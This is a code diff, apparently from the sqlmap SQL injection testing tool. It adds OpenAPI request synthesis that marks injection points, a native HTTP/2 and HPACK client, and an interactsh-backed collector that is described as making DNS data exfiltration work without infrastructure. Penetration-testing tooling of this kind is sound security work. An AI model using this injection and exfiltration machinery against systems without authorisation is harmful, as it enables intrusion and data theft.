rootBase = _baseUrl(spec, origin)
except Exception: # never let base-URL synthesis abort the whole run
rootBase = origin.rstrip('/') if isinstance(origin, six.string_types) else ""
isV2 = "swagger" in spec and "openapi" not in spec
retVal = []
cache = {} # $ref -> synthesized example, shared across all operations (large specs reuse schemas)
for path, item in (spec.get("paths") or {}).items():
item = _resolve(spec, item) # a Path Item object may itself be a $ref
if not isinstance(item, dict):
continue
shared = item.get("parameters") or [] # 'or []': a present-but-null 'parameters' must not break concatenation
for method, operation in item.items():
if str(method).lower() not in _METHODS or not isinstance(operation, dict): # str(): YAML keys can be non-string (e.g. 404, 'on'->bool)
continue
try:
# effective base URL with OpenAPI precedence: operation 'servers' > path-item 'servers' > root
opServers = operation.get("servers") or item.get("servers")
base = rootBase
if opServers:
try:
base = _baseUrl(spec, origin, opServers)
except Exception:
base = rootBase
# merge path-level + operation-level parameters, de-duplicated by (in, name); operation wins
params, seen = [], {}
for raw in ((shared if isinstance(shared, list) else []) + (operation.get("parameters") or [])):
resolved = _resolve(spec, raw)
if isinstance(resolved, dict) and resolved.get("name"):
key = (resolved.get("in"), resolved.get("name"))
if key in seen:
params[seen[key]] = resolved
continue
seen[key] = len(params)
params.append(resolved)
urlPath = path if isinstance(path, six.string_types) else str(path)
query, headers, form, cookies = [], [], [], []
for param in params:
if not isinstance(param, dict):
continue
location, name = param.get("in"), param.get("name")
if not name:
continue
if not isinstance(name, six.string_types): # YAML can yield a non-string param name (e.g. 5)
name = str(name)
explicit = _explicitExample(spec, param) # parameter-level example/examples wins over schema synthesis
if explicit is not _NO_EXAMPLE:
value = _scalar(explicit)
else:
schema = param.get("schema") or {"type": param.get("type", "string")}
value = _scalar(_example(spec, schema, cache=cache))
if location == "path":
# mark the filled path segment as a (custom) URI injection point - path parameters are
# prime REST injection targets; the value is encoded first so its own chars add no mark
urlPath = urlPath.replace("{%s}" % name, _urlSafe(value) + CUSTOM_INJECTION_MARK_CHAR)
elif location == "query":
# best-effort: array/object query params are scalarized (single value), NOT expanded per
# OpenAPI style/explode (repeated keys, comma/space/pipe delimited, deepObject) - the goal
# is one testable request per operation, not faithful serialization
query.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value)))
elif location == "header":
# append the custom injection mark so the header value becomes a testable (custom)
# injection point (non-exclusive: query/body params are still auto-tested); skip names
# that are not valid HTTP field-name tokens
headerName = _headerClean(name)
if headerName and _HEADER_NAME_RE.match(headerName):
headers.append((headerName, "%s%s" % (_headerClean(_noMark(value)), CUSTOM_INJECTION_MARK_CHAR)))
elif location == "cookie":
# a cookie name is a token; the value must not contain cookie-structure chars ('; ,'
# and whitespace) or a spec could smuggle extra cookie pairs
cookieName = _headerClean(name)
if cookieName and _HEADER_NAME_RE.match(cookieName):
cookieValue = re.sub(r"[;,\s]", "", _headerClean(_noMark(value)))
cookies.append("%s=%s%s" % (cookieName, cookieValue, CUSTOM_INJECTION_MARK_CHAR))
elif location == "formData": # Swagger v2 in:"formData" -> urlencoded body field
form.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value)))
if cookies: # aggregate all cookie params into a single Cookie header
headers.append((HTTP_HEADER.COOKIE, "; ".join(cookies)))
urlPath = urlPath.replace(" ", "%20").replace("?", "%3F").replace("#", "%23") # keep a literal path key from breaking the URL (filled values are already encoded)
if urlPath and not urlPath.startswith("/"): # OpenAPI path keys start with '/'; harden a loose spec so base+path is not glued (/v1pets)
urlPath = "/" + urlPath
url = base + urlPath
if query:
url += "?" + "&".join(query)
url = re.sub(r"\{[^}]+\}", "1", url) # any leftover template var (undefined path OR server variable) -> "1"
if not re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # no scheme/host -> unscannable relative URL
logger.warning("skipping OpenAPI operation '%s %s' (unable to resolve an absolute target URL; provide the specification by URL or add a 'servers'/'host' entry)" % (str(method).upper(), path))
continue
data = None
body = _resolve(spec, operation.get("requestBody") or {})
content_ = body.get("content") if isinstance(body, dict) else None
if isinstance(content_, dict) and content_:
mediaTypes = [_ for _ in content_ if isinstance(_, six.string_types)] # media-type keys must be strings
picked = next((_ for _ in mediaTypes if _ == "application/json" or _.endswith("+json") or "json" in _), None) \
or ("application/x-www-form-urlencoded" if "application/x-www-form-urlencoded" in mediaTypes else None) \
or (mediaTypes[0] if mediaTypes else None)
if picked:
mediaType = content_[picked] if isinstance(content_[picked], dict) else {}
example = _explicitExample(spec, mediaType) # media-type-level example/examples wins over schema synthesis
if example is _NO_EXAMPLE:
example = _example(spec, mediaType.get("schema") or {}, cache=cache)
if "json" in picked:
data = _noMark(json.dumps(example, default=str))
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json"))
elif picked == "application/x-www-form-urlencoded" and isinstance(example, dict):
data = "&".join("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(_scalar(value))) for name, value in example.items())
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded"))
elif isinstance(example, six.string_types):
# raw (text / xml / ...) body -> mark it so the whole body becomes a testable point
data = _noMark(example) + CUSTOM_INJECTION_MARK_CHAR
headers.append((HTTP_HEADER.CONTENT_TYPE, picked))
else: # e.g. multipart/form-data or a structured non-JSON body (no safe serialization)
logger.debug("not synthesizing a '%s' request body for '%s %s'" % (picked, str(method).upper(), path))
elif isinstance(operation.get("parameters"), list) or isV2:
for param in params: # Swagger v2 in:"body"
if isinstance(param, dict) and param.get("in") == "body":
example = _example(spec, param.get("schema") or {}, cache=cache)
data = _noMark(json.dumps(example, default=str))
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json"))
if data is None and form: # Swagger v2 in:"formData" fields -> urlencoded body
data = "&".join(form)
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded"))
retVal.append((url, str(method).upper(), data, headers or None))
except Exception as ex:
logger.warning("skipping OpenAPI operation '%s %s' (%s)" % (str(method).upper(), path, getSafeExString(ex)))
return retVal

View file

@ -57,7 +57,7 @@ from lib.parse.html import htmlParser
from thirdparty import six
from thirdparty.chardet import detect
from thirdparty.identywaf import identYwaf
from thirdparty.odict import OrderedDict
from collections import OrderedDict
from thirdparty.six import unichr as _unichr
from thirdparty.six.moves import http_client as _http_client

View file

@ -39,15 +39,18 @@ from thirdparty import six
def _isJsonResponse(headers):
"""
Returns True if the response Content-Type indicates a JSON document (e.g. 'application/json'
or a structured suffix like 'application/vnd.api+json')
Returns True if the response Content-Type plausibly indicates a JSON document - i.e. the canonical
'application/json', the common misservings ('text/json', 'application/javascript', ...), or a
structured suffix like 'application/vnd.api+json'. Being liberal here is safe: jsonMinimize() returns
None for anything that is not actually parseable JSON, so a mislabelled body simply falls back to the
normal text comparison.
"""
retVal = False
if headers:
contentType = (headers.get(HTTP_HEADER.CONTENT_TYPE) or "").split(';')[0].strip().lower()
retVal = contentType == "application/json" or contentType.endswith("+json")
retVal = contentType in ("application/json", "text/json", "application/javascript", "text/javascript", "application/x-javascript") or contentType.endswith("+json")
return retVal

View file

@ -63,7 +63,6 @@ from lib.core.common import unsafeVariableNaming
from lib.core.common import urldecode
from lib.core.common import urlencode
from lib.core.common import wasLastResponseDelayed
from lib.core.compat import LooseVersion
from lib.core.compat import patchHeaders
from lib.core.compat import xrange
from lib.core.convert import encodeBase64
@ -111,7 +110,6 @@ from lib.core.settings import IS_WIN
from lib.core.settings import JAVASCRIPT_HREF_REGEX
from lib.core.settings import LARGE_READ_TRIM_MARKER
from lib.core.settings import LIVE_COOKIES_TIMEOUT
from lib.core.settings import MIN_HTTPX_VERSION
from lib.core.settings import MAX_CONNECTION_READ_SIZE
from lib.core.settings import MAX_CONNECTIONS_REGEX
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
@ -142,7 +140,7 @@ from lib.request.direct import direct
from lib.request.methodrequest import MethodRequest
from lib.utils.safe2bin import safecharencode
from thirdparty import six
from thirdparty.odict import OrderedDict
from collections import OrderedDict
from thirdparty.six import unichr as _unichr
from thirdparty.six.moves import http_client as _http_client
from thirdparty.six.moves import urllib as _urllib
@ -510,7 +508,10 @@ class Connect(object):
for key, value in list(headers.items()):
if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].lower() != "br") or "identity"
# keep only content-codings sqlmap can actually decode (see decodePage): a browser-pasted
# 'Accept-Encoding' (e.g. "gzip, deflate, br, zstd") must not make the server return a body
# we cannot read. Anything else (br, zstd, *, ...) is dropped, falling back to "identity".
value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].strip().lower() in ("gzip", "x-gzip", "deflate", "identity")) or "identity"
del headers[key]
if isinstance(value, six.string_types):
@ -632,30 +633,22 @@ class Connect(object):
cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value)
if conf.http2:
try:
import httpx
except ImportError:
raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else ""))
from lib.request.http2 import open_url as http2OpenUrl
if LooseVersion(httpx.__version__) < LooseVersion(MIN_HTTPX_VERSION):
raise SqlmapMissingDependence("outdated version of httpx detected (%s<%s)" % (httpx.__version__, MIN_HTTPX_VERSION))
h2proxy = None
if conf.proxy:
_proxyParts = _urllib.parse.urlsplit(conf.proxy if "://" in conf.proxy else "http://%s" % conf.proxy)
if (_proxyParts.scheme or "").lower().startswith("socks"):
raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)")
h2proxy = (_proxyParts.hostname, _proxyParts.port or 8080, conf.proxyCred or None)
try:
proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if "://" not in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None
with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client:
conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post)
except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex:
conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy)
except IOError as ex:
raise _http_client.HTTPException(getSafeExString(ex))
else:
if conn.status_code >= 400:
raise _urllib.error.HTTPError(url, conn.status_code, conn.reason_phrase, conn.headers, io.BytesIO(conn.read()))
conn.code = conn.status_code
conn.msg = conn.reason_phrase
conn.info = lambda c=conn: c.headers
conn._read_buffer = conn.read()
conn._read_offset = 0
if conn.code >= 400:
raise _urllib.error.HTTPError(url, conn.code, conn.msg, conn.info(), io.BytesIO(conn.read()))
requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1)
@ -663,18 +656,6 @@ class Connect(object):
threadData.lastRequestMsg = requestMsg
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
def _read(count=None):
offset = conn._read_offset
if count is None:
result = conn._read_buffer[offset:]
conn._read_offset = len(conn._read_buffer)
else:
result = conn._read_buffer[offset: offset + count]
conn._read_offset += len(result)
return result
conn.read = _read
else:
if not multipart:
threadData.lastRequestMsg = requestMsg

View file

@ -225,6 +225,68 @@ class DNSServer(object):
thread.daemon = True
thread.start()
class InteractshDNSServer(object):
"""DNS exfiltration collector backed by a public (or self-hosted) interactsh
interaction server instead of a locally-bound privileged :53 socket. This lets
the '--dns-domain' data-exfiltration technique run with zero infrastructure - no
delegated authoritative domain, no root/Administrator, no reachable listener -
by resolving lookups under the interactsh correlation domain and polling them
back. It presents the same run()/pop(prefix, suffix) surface as DNSServer, so it
is a drop-in for conf.dnsServer.
"""
_POLL_TRIES = 6 # a triggered lookup surfaces at interactsh within a couple of seconds;
_POLL_DELAY = 1.0 # poll up to ~6s per retrieval before treating the channel as silent
def __init__(self, server=None):
from lib.request.interactsh import Interactsh, hasCrypto
if not hasCrypto():
raise socket.error("interactsh-backed DNS exfiltration requires the optional 'pycryptodome' package")
self._client = Interactsh(server=server)
if not self._client.registered:
raise socket.error("could not register with an interactsh interaction server")
self.domain = self._client.dnsDomain()
self._seen = set()
self._running = True
self._initialized = True
def run(self):
"""No background listener is needed - interactsh does the receiving."""
pass
def pop(self, prefix=None, suffix=None):
"""
Returns a captured DNS lookup name matching the given prefix/suffix
(prefix.<query result>.suffix.<correlation domain>), mirroring DNSServer.pop().
Unlike the synchronous local DNSServer (which reads a query captured during the
very request), interactsh is remote and eventually-consistent: a just-triggered
lookup takes a moment to reach the collector and surface via its poll API. So we
poll a few times before giving up, instead of reading once.
"""
for attempt in range(self._POLL_TRIES):
for name in self._client.dnsNames():
if name in self._seen:
continue
if prefix is None and suffix is None:
self._seen.add(name)
return name
if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I):
self._seen.add(name)
return name
if attempt < self._POLL_TRIES - 1:
time.sleep(self._POLL_DELAY)
return None
if __name__ == "__main__":
server = None
try:

669
lib/request/http2.py Normal file
View file

@ -0,0 +1,669 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
# Native, dependency-free HTTP/2 client (RFC 7540) with HPACK (RFC 7541), replacing the optional
# 'httpx[http2]' third-party stack. The HPACK static and Huffman tables below are the canonical
# RFC 7541 tables; the codec is validated differentially against python-hyper/hpack and the client
# end-to-end against real h2 servers. Pure standard library, Python 2.7 / 3.x.
import base64
import socket
import ssl
import struct
import threading
try:
from http.client import responses as _HTTP_RESPONSES
except ImportError:
from httplib import responses as _HTTP_RESPONSES
try:
from urllib.parse import urljoin, urlsplit
except ImportError:
from urlparse import urljoin, urlsplit
from email.message import Message as _Message
REDIRECT_CODES = (301, 302, 303, 307, 308)
HUFFMAN_CODES = [
0x1ff8, 0x7fffd8, 0xfffffe2, 0xfffffe3, 0xfffffe4, 0xfffffe5, 0xfffffe6, 0xfffffe7, 0xfffffe8, 0xffffea,
0x3ffffffc, 0xfffffe9, 0xfffffea, 0x3ffffffd, 0xfffffeb, 0xfffffec, 0xfffffed, 0xfffffee, 0xfffffef,
0xffffff0, 0xffffff1, 0xffffff2, 0x3ffffffe, 0xffffff3, 0xffffff4, 0xffffff5, 0xffffff6, 0xffffff7, 0xffffff8,
0xffffff9, 0xffffffa, 0xffffffb, 0x14, 0x3f8, 0x3f9, 0xffa, 0x1ff9, 0x15, 0xf8, 0x7fa, 0x3fa, 0x3fb, 0xf9,
0x7fb, 0xfa, 0x16, 0x17, 0x18, 0x0, 0x1, 0x2, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x5c, 0xfb, 0x7ffc,
0x20, 0xffb, 0x3fc, 0x1ffa, 0x21, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68,
0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0xfc, 0x73, 0xfd, 0x1ffb, 0x7fff0, 0x1ffc, 0x3ffc,
0x22, 0x7ffd, 0x3, 0x23, 0x4, 0x24, 0x5, 0x25, 0x26, 0x27, 0x6, 0x74, 0x75, 0x28, 0x29, 0x2a, 0x7, 0x2b, 0x76,
0x2c, 0x8, 0x9, 0x2d, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7ffe, 0x7fc, 0x3ffd, 0x1ffd, 0xffffffc, 0xfffe6,
0x3fffd2, 0xfffe7, 0xfffe8, 0x3fffd3, 0x3fffd4, 0x3fffd5, 0x7fffd9, 0x3fffd6, 0x7fffda, 0x7fffdb, 0x7fffdc,
0x7fffdd, 0x7fffde, 0xffffeb, 0x7fffdf, 0xffffec, 0xffffed, 0x3fffd7, 0x7fffe0, 0xffffee, 0x7fffe1, 0x7fffe2,
0x7fffe3, 0x7fffe4, 0x1fffdc, 0x3fffd8, 0x7fffe5, 0x3fffd9, 0x7fffe6, 0x7fffe7, 0xffffef, 0x3fffda, 0x1fffdd,
0xfffe9, 0x3fffdb, 0x3fffdc, 0x7fffe8, 0x7fffe9, 0x1fffde, 0x7fffea, 0x3fffdd, 0x3fffde, 0xfffff0, 0x1fffdf,
0x3fffdf, 0x7fffeb, 0x7fffec, 0x1fffe0, 0x1fffe1, 0x3fffe0, 0x1fffe2, 0x7fffed, 0x3fffe1, 0x7fffee, 0x7fffef,
0xfffea, 0x3fffe2, 0x3fffe3, 0x3fffe4, 0x7ffff0, 0x3fffe5, 0x3fffe6, 0x7ffff1, 0x3ffffe0, 0x3ffffe1, 0xfffeb,
0x7fff1, 0x3fffe7, 0x7ffff2, 0x3fffe8, 0x1ffffec, 0x3ffffe2, 0x3ffffe3, 0x3ffffe4, 0x7ffffde, 0x7ffffdf,
0x3ffffe5, 0xfffff1, 0x1ffffed, 0x7fff2, 0x1fffe3, 0x3ffffe6, 0x7ffffe0, 0x7ffffe1, 0x3ffffe7, 0x7ffffe2,
0xfffff2, 0x1fffe4, 0x1fffe5, 0x3ffffe8, 0x3ffffe9, 0xffffffd, 0x7ffffe3, 0x7ffffe4, 0x7ffffe5, 0xfffec,
0xfffff3, 0xfffed, 0x1fffe6, 0x3fffe9, 0x1fffe7, 0x1fffe8, 0x7ffff3, 0x3fffea, 0x3fffeb, 0x1ffffee, 0x1ffffef,
0xfffff4, 0xfffff5, 0x3ffffea, 0x7ffff4, 0x3ffffeb, 0x7ffffe6, 0x3ffffec, 0x3ffffed, 0x7ffffe7, 0x7ffffe8,
0x7ffffe9, 0x7ffffea, 0x7ffffeb, 0xffffffe, 0x7ffffec, 0x7ffffed, 0x7ffffee, 0x7ffffef, 0x7fffff0, 0x3ffffee,
0x3fffffff
]
HUFFMAN_LENGTHS = [
0xd, 0x17, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x18, 0x1e, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c,
0x1c, 0x1c, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x6, 0xa, 0xa, 0xc, 0xd,
0x6, 0x8, 0xb, 0xa, 0xa, 0x8, 0xb, 0x8, 0x6, 0x6, 0x6, 0x5, 0x5, 0x5, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x7,
0x8, 0xf, 0x6, 0xc, 0xa, 0xd, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7,
0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x8, 0x7, 0x8, 0xd, 0x13, 0xd, 0xe, 0x6, 0xf, 0x5, 0x6, 0x5, 0x6, 0x5, 0x6,
0x6, 0x6, 0x5, 0x7, 0x7, 0x6, 0x6, 0x6, 0x5, 0x6, 0x7, 0x6, 0x5, 0x5, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0xf, 0xb,
0xe, 0xd, 0x1c, 0x14, 0x16, 0x14, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x17, 0x17, 0x17, 0x17, 0x17, 0x18,
0x17, 0x18, 0x18, 0x16, 0x17, 0x18, 0x17, 0x17, 0x17, 0x17, 0x15, 0x16, 0x17, 0x16, 0x17, 0x17, 0x18, 0x16,
0x15, 0x14, 0x16, 0x16, 0x17, 0x17, 0x15, 0x17, 0x16, 0x16, 0x18, 0x15, 0x16, 0x17, 0x17, 0x15, 0x15, 0x16,
0x15, 0x17, 0x16, 0x17, 0x17, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x16, 0x17, 0x1a, 0x1a, 0x14, 0x13, 0x16,
0x17, 0x16, 0x19, 0x1a, 0x1a, 0x1a, 0x1b, 0x1b, 0x1a, 0x18, 0x19, 0x13, 0x15, 0x1a, 0x1b, 0x1b, 0x1a, 0x1b,
0x18, 0x15, 0x15, 0x1a, 0x1a, 0x1c, 0x1b, 0x1b, 0x1b, 0x14, 0x18, 0x14, 0x15, 0x16, 0x15, 0x15, 0x17, 0x16,
0x16, 0x19, 0x19, 0x18, 0x18, 0x1a, 0x17, 0x1a, 0x1b, 0x1a, 0x1a, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1c, 0x1b,
0x1b, 0x1b, 0x1b, 0x1b, 0x1a, 0x1e
]
STATIC_TABLE = (
(b':authority', b''),
(b':method', b'GET'),
(b':method', b'POST'),
(b':path', b'/'),
(b':path', b'/index.html'),
(b':scheme', b'http'),
(b':scheme', b'https'),
(b':status', b'200'),
(b':status', b'204'),
(b':status', b'206'),
(b':status', b'304'),
(b':status', b'400'),
(b':status', b'404'),
(b':status', b'500'),
(b'accept-charset', b''),
(b'accept-encoding', b'gzip, deflate'),
(b'accept-language', b''),
(b'accept-ranges', b''),
(b'accept', b''),
(b'access-control-allow-origin', b''),
(b'age', b''),
(b'allow', b''),
(b'authorization', b''),
(b'cache-control', b''),
(b'content-disposition', b''),
(b'content-encoding', b''),
(b'content-language', b''),
(b'content-length', b''),
(b'content-location', b''),
(b'content-range', b''),
(b'content-type', b''),
(b'cookie', b''),
(b'date', b''),
(b'etag', b''),
(b'expect', b''),
(b'expires', b''),
(b'from', b''),
(b'host', b''),
(b'if-match', b''),
(b'if-modified-since', b''),
(b'if-none-match', b''),
(b'if-range', b''),
(b'if-unmodified-since', b''),
(b'last-modified', b''),
(b'link', b''),
(b'location', b''),
(b'max-forwards', b''),
(b'proxy-authenticate', b''),
(b'proxy-authorization', b''),
(b'range', b''),
(b'referer', b''),
(b'refresh', b''),
(b'retry-after', b''),
(b'server', b''),
(b'set-cookie', b''),
(b'strict-transport-security', b''),
(b'transfer-encoding', b''),
(b'user-agent', b''),
(b'vary', b''),
(b'via', b''),
(b'www-authenticate', b''),
)
STATIC_LEN = len(STATIC_TABLE)
# HTTP/2 frame codec (RFC 7540 section 4.1) - the zero-table-risk brick. Pure stdlib, py2/py3, ASCII.
# frame types (RFC 7540 s6)
DATA, HEADERS, RST_STREAM, SETTINGS, PING, GOAWAY, WINDOW_UPDATE, CONTINUATION = 0x0, 0x1, 0x3, 0x4, 0x6, 0x7, 0x8, 0x9
# flags
FLAG_END_STREAM = 0x1
FLAG_ACK = 0x1
FLAG_END_HEADERS = 0x4
FLAG_PADDED = 0x8
FLAG_PRIORITY = 0x20
CONNECTION_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
def encode_frame(ftype, flags, stream_id, payload=b""):
"""Serialize an HTTP/2 frame (RFC 7540 s4.1): 24-bit length + type + flags + 31-bit stream id.
>>> decode_frame_header(encode_frame(HEADERS, FLAG_END_HEADERS, 1, b'abc')[:9])
(3, 1, 4, 1)
"""
if len(payload) > 0xffffff:
raise ValueError("frame payload exceeds 24-bit length")
header = struct.pack("!I", len(payload))[1:] # 24-bit length (drop MSB of the 32-bit pack)
header += struct.pack("!BBI", ftype, flags, stream_id & 0x7fffffff) # type, flags, R(1)+stream(31)
return header + payload
def decode_frame_header(nine):
"""Parse the 9-byte frame header into (length, type, flags, stream_id); the reserved high bit of the stream id is masked off.
>>> decode_frame_header(encode_frame(DATA, 0, 0x80000001, b'')[:9])
(0, 0, 0, 1)
"""
if len(nine) != 9:
raise ValueError("frame header must be exactly 9 bytes")
length = struct.unpack("!I", b"\x00" + nine[:3])[0]
ftype, flags, stream_id = struct.unpack("!BBI", nine[3:9])
return length, ftype, flags, stream_id & 0x7fffffff
# ---------- Huffman ----------
def huffman_encode(data):
"""Huffman-encode a byte string per the RFC 7541 static table (s5.2), padding with EOS 1-bits.
>>> huffman_decode(huffman_encode(b'www.example.com')) == b'www.example.com'
True
>>> huffman_encode(b'') == b''
True
"""
if not data:
return b""
acc = 0
nbits = 0
for b in bytearray(data):
acc = (acc << HUFFMAN_LENGTHS[b]) | HUFFMAN_CODES[b]
nbits += HUFFMAN_LENGTHS[b]
pad = (8 - nbits % 8) % 8
acc = (acc << pad) | ((1 << pad) - 1) # pad with 1-bits (EOS prefix)
total = (nbits + pad) // 8
out = bytearray()
for i in range(total - 1, -1, -1):
out.append((acc >> (8 * i)) & 0xff)
return bytes(out)
_HUFF_ROOT = {}
def _build_huffman_trie():
for sym in range(256):
code, length = HUFFMAN_CODES[sym], HUFFMAN_LENGTHS[sym]
node = _HUFF_ROOT
for i in range(length - 1, -1, -1):
bit = (code >> i) & 1
if i == 0:
node[bit] = sym # leaf: int symbol
else:
node = node.setdefault(bit, {})
_build_huffman_trie()
def huffman_decode(data):
out = bytearray()
node = _HUFF_ROOT
consumed = 0 # bits into the current (partial) symbol
for byte in bytearray(data):
for i in range(7, -1, -1):
bit = (byte >> i) & 1
nxt = node.get(bit)
if nxt is None:
raise ValueError("invalid Huffman sequence")
consumed += 1
if isinstance(nxt, dict):
node = nxt
else:
out.append(nxt)
node = _HUFF_ROOT
consumed = 0
# RFC 7541 5.2: any leftover partial path must be EOS padding: all 1-bits and fewer than 8
if node is not _HUFF_ROOT:
if consumed >= 8:
raise ValueError("Huffman padding too long")
# walk back is unnecessary: padding is all-ones, i.e. we must have only taken '1' branches
# since the last leaf; verify by re-deriving is overkill - reference cross-check guards it
return bytes(out)
# ---------- integer / string (RFC 7541 5.1 / 5.2) ----------
def encode_integer(value, prefix_bits, first_byte=0):
"""Encode an integer with an N-bit prefix (RFC 7541 s5.1); the C.1.2 example is 1337 / 5-bit prefix.
>>> list(encode_integer(10, 5))
[10]
>>> list(encode_integer(1337, 5))
[31, 154, 10]
"""
mask = (1 << prefix_bits) - 1
if value < mask:
return bytearray([first_byte | value])
out = bytearray([first_byte | mask])
value -= mask
while value >= 0x80:
out.append((value & 0x7f) | 0x80)
value >>= 7
out.append(value)
return out
def decode_integer(data, pos, prefix_bits):
"""Decode an N-bit-prefixed integer, returning (value, new_pos) (RFC 7541 s5.1).
>>> decode_integer(bytearray([31, 154, 10]), 0, 5)
(1337, 3)
"""
mask = (1 << prefix_bits) - 1
value = data[pos] & mask
pos += 1
if value < mask:
return value, pos
shift = 0
while True:
b = data[pos]
pos += 1
value += (b & 0x7f) << shift
shift += 7
if not (b & 0x80):
break
return value, pos
def encode_string(value, huffman=True):
if huffman:
encoded = huffman_encode(value)
if len(encoded) < len(value): # only use Huffman when it actually shrinks
return encode_integer(len(encoded), 7, 0x80) + encoded
return encode_integer(len(value), 7, 0x00) + bytearray(value)
def decode_string(data, pos):
huffman = bool(data[pos] & 0x80)
length, pos = decode_integer(data, pos, 7)
raw = bytes(data[pos:pos + length])
pos += length
return (huffman_decode(raw) if huffman else raw), pos
# ---------- dynamic table + decoder/encoder ----------
class Decoder(object):
def __init__(self, max_size=4096):
self.max_size = max_size
self.dynamic = [] # newest first: [(name, value), ...]
self._size = 0
def _entry_size(self, name, value):
return 32 + len(name) + len(value)
def _add(self, name, value):
self.dynamic.insert(0, (name, value))
self._size += self._entry_size(name, value)
self._evict()
def _evict(self):
while self._size > self.max_size and self.dynamic:
name, value = self.dynamic.pop()
self._size -= self._entry_size(name, value)
def _get(self, index):
if index <= 0:
raise ValueError("invalid header index 0")
if index <= STATIC_LEN:
return STATIC_TABLE[index - 1]
index -= STATIC_LEN + 1
if index >= len(self.dynamic):
raise ValueError("dynamic index out of range")
return self.dynamic[index]
def decode(self, data):
"""Decode an HPACK header block into a list of (name, value) byte pairs (RFC 7541 s6).
>>> Decoder().decode(bytes(bytearray([0x82, 0x86, 0x84]))) == [(b':method', b'GET'), (b':scheme', b'http'), (b':path', b'/')]
True
"""
data = bytearray(data)
pos = 0
headers = []
n = len(data)
while pos < n:
byte = data[pos]
if byte & 0x80: # 6.1 indexed
index, pos = decode_integer(data, pos, 7)
headers.append(self._get(index))
elif byte & 0x40: # 6.2.1 literal + incremental indexing
index, pos = decode_integer(data, pos, 6)
if index:
name = self._get(index)[0]
else:
name, pos = decode_string(data, pos)
value, pos = decode_string(data, pos)
self._add(name, value)
headers.append((name, value))
elif byte & 0x20: # 6.3 dynamic table size update
new_size, pos = decode_integer(data, pos, 5)
self.max_size = new_size
self._evict()
else: # 6.2.2 without / 6.2.3 never indexed (4-bit prefix)
index, pos = decode_integer(data, pos, 4)
if index:
name = self._get(index)[0]
else:
name, pos = decode_string(data, pos)
value, pos = decode_string(data, pos)
headers.append((name, value))
return headers
class Encoder(object):
# Minimal, always-valid: emit each header as a literal WITHOUT indexing + Huffman-coded strings.
# (Correctness-critical decoding is the hard part; a server accepts this trivially.)
def encode(self, headers):
out = bytearray()
for name, value in headers:
out += encode_integer(0, 4, 0x00) # 0000 0000 : literal w/o indexing, new name
out += encode_string(name)
out += encode_string(value)
return bytes(out)
SETTINGS_INITIAL_WINDOW_SIZE = 0x4
BIG_WINDOW = (1 << 31) - 1
def _recv_exact(sock, n):
buf = b""
while len(buf) < n:
chunk = sock.recv(n - len(buf))
if not chunk:
raise IOError("connection closed by peer")
buf += chunk
return buf
def _read_frame(sock):
length, ftype, flags, sid = decode_frame_header(_recv_exact(sock, 9))
return ftype, flags, sid, (_recv_exact(sock, length) if length else b"")
def _tob(x):
return x if isinstance(x, bytes) else x.encode("latin-1")
def _connect_socket(host, port, proxy, timeout):
# Direct TCP, or an HTTP CONNECT tunnel through an (optionally authenticated) proxy. SOCKS proxies
# are excluded for HTTP/2 upstream, so any proxy reaching here is a plain HTTP one. proxy is a
# (proxy_host, proxy_port, "user:pass"-or-None) tuple.
if not proxy:
return socket.create_connection((host, port), timeout=timeout)
